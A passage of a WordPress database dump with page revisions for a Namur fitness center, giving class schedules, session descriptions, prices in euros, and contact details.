(472, 1, '2015-04-21 08:50:51', '2015-04-21 08:50:51', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot; valign=\&quot;center\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-04-21 08:50:51', '2015-04-21 08:50:51', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(469, 1, '2014-12-15 19:46:29', '2014-12-15 19:46:29', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot; valign=\&quot;center\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:46:29', '2014-12-15 19:46:29', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(471, 1, '2015-04-21 08:50:04', '2015-04-21 08:50:04', '', 'Séances', '', 'publish', 'open', 'open', '', 'seances', '', '', '2015-04-21 08:50:04', '2015-04-21 08:50:04', '', 0, 'http://www.crosstrainingcenter.be/?p=471', 4, 'nav_menu_item', '', 0),
(477, 1, '2015-04-21 09:07:44', '2015-04-21 09:07:44', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes réservations de Team Training se font en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\nLes séances de Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2015-04-21 09:07:44', '2015-04-21 09:07:44', '', 9, 'http://www.crosstrainingcenter.be/9-revision-v1/', 0, 'revision', '', 0),
(481, 1, '2015-04-21 09:46:39', '2015-04-21 09:46:39', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	